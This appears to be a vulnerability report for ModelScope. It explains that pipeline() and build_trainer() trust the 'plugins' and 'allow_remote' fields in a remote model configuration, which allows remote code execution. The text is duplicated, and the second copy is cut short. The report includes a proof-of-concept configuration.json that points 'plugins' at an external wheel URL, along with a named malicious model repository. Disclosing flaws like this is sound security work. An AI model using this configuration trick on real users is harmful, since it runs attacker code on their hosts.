Description
ModelScope still contains a remote code execution vulnerability in its remote plugin mechanism. Although a previous issue (#1405) addressed Model.from_pretrained, the same trust problem remains in other entry points, including pipeline() and build_trainer().
In these code paths, ModelScope reads plugin-related fields such as plugins and allow_remote from the remote model configuration and then uses them to register and execute remote plugins. Because these values come from the attacker-controlled configuration.json, a malicious model repository can enable remote plugin loading without any explicit user consent.
As a result, a victim only needs to call a normal API such as pipeline(...) on a malicious model repo, and ModelScope will fetch and execute attacker-controlled plugin code. This leads to arbitrary code execution on the victim host.
Root Cause
The vulnerable logic in pipeline() is:
|
if pipeline_name is None or pipeline_name != 'llm': |
|
third_party = kwargs.get(ThirdParty.KEY) |
|
if third_party is not None: |
|
kwargs.pop(ThirdParty.KEY) |
|
|
|
model = normalize_model_input( |
|
model, |
|
model_revision, |
|
third_party=third_party, |
|
ignore_file_pattern=ignore_file_pattern) |
|
|
|
register_plugins_repo(cfg.safe_get('plugins')) |
|
register_modelhub_repo(model, |
|
cfg.get('allow_remote', False)) |
The vulnerable logic in build_trainer() is:
|
if isinstance(model, str) \ |
|
or (isinstance(model, list) and isinstance(model[0], str)): |
|
if is_official_hub_path(model, revision=model_revision): |
|
# read config file from hub and parse |
|
configuration = read_config( |
|
model, revision=model_revision) if isinstance( |
|
model, str) else read_config( |
|
model[0], revision=model_revision) |
|
model_dir = normalize_model_input(model, model_revision) |
|
register_plugins_repo(configuration.safe_get('plugins')) |
|
register_modelhub_repo(model_dir, |
|
configuration.get('allow_remote', False)) |
The problem is that both of the following values are read from the remote configuration:
cfg.safe_get('plugins')
cfg.get('allow_remote', False)
These are security-sensitive controls. They determine whether a remote plugin repository should be registered and whether remote code is allowed. Since they come directly from attacker-controlled model metadata, an attacker can enable plugin loading and point ModelScope to malicious code.
Proof of Concept
I reused the model repository presented in #1405. Its remote configuration contains plugin-related fields that enable remote loading, for example:
{
"framework":"Pytorch",
"task":"translation",
"plugins":["https://github.com/JIRUWOZHI/mosco_test/releases/download/v0.0.1/mosco_test-0.0.1-py3-none-any.whl"],
"allow_remote":true,
"model": {
"type":"csanmt-translation"
}
}
A victim runs standard ModelScope code:
from modelscope.pipelines import pipeline
model_id = "jiruwozhi/plugin_rce"
human3d = pipeline("translation", model=model_id)
Description
ModelScope still contains a remote code execution vulnerability in its remote plugin mechanism. Although a previous issue (#1405) addressed
Model.from_pretrained, the same trust problem remains in other entry points, includingpipeline()andbuild_trainer().In these code paths, ModelScope reads plugin-related fields such as
pluginsandallow_remotefrom the remote model configuration and then uses them to register and execute remote plugins. Because these values come from the attacker-controlledconfiguration.json, a malicious model repository can enable remote plugin loading without any explicit user consent.As a result, a victim only needs to call a normal API such as
pipeline(...)on a malicious model repo, and ModelScope will fetch and execute attacker-controlled plugin code. This leads to arbitrary code execution on the victim host.Root Cause
The vulnerable logic in
pipeline()is:modelscope/modelscope/pipelines/builder.py
Lines 147 to 160 in 32d7c70
The vulnerable logic in
build_trainer()is:modelscope/modelscope/trainers/builder.py
Lines 27 to 38 in 32d7c70
The problem is that both of the following values are read from the remote configuration:
cfg.safe_get('plugins')cfg.get('allow_remote', False)These are security-sensitive controls. They determine whether a remote plugin repository should be registered and whether remote code is allowed. Since they come directly from attacker-controlled model metadata, an attacker can enable plugin loading and point ModelScope to malicious code.
Proof of Concept
I reused the model repository presented in #1405. Its remote configuration contains plugin-related fields that enable remote loading, for example:
{ "framework":"Pytorch", "task":"translation", "plugins":["https://github.com/JIRUWOZHI/mosco_test/releases/download/v0.0.1/mosco_test-0.0.1-py3-none-any.whl"], "allow_remote":true, "model": { "type":"csanmt-translation" } }A victim runs standard ModelScope code: